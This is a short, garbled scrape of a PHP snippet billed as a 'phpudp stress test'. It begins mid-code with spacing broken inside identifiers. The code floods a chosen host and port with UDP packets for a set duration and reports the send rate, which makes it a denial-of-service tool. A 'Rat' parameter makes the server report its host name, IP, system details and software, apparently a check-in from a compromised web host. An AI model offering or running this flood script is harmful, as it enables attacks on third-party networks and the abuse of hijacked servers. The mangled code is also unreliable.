: This article mainly introduces the phpudp stress test. if you are interested in the PHP Tutorial, refer to it.
0) {echo $ _ GET ['Rat ']. $ _ SERVER ["HTTP_HOST"]. "| ". getHostByName ($ _ SERVER ['server _ name']). "| ". php_uname (). "| ". $ _ SERVER ['server _ soft']. $ _ GET ['Rat ']; exit;} echo "Parameters can not be empty! "; Exit ;}for ($ I = 0; $ I <$ Sendlen; $ I ++) {$ out. = "B" ;}$ max_time = time () + $ exec_time; while (1) {$ packets ++; if (time ()> $ max_time) {break ;} $ fp = fsockopen ("udp: // $ host", $ port, $ errno, $ errstr, 5); if ($ fp) {fwrite ($ fp, $ out); fclose ($ fp) ;}} echo "Send Host: $ host: $ port
"; Echo" Send Flow: $ packets * ($ Sendlen/1024 = ". round ($ Sendlen/1024, 2 ). ") kb/1024 = ". round ($ packets * $ Sendlen/1024/1024, 2 ). "mb
"; Echo" Send Rate :". round ($ packets/$ exec_time, 2 ). "packs/s ;". round ($ packets/$ exec_time * $ Sendlen/1024/1024, 2 ). "mb/s";?>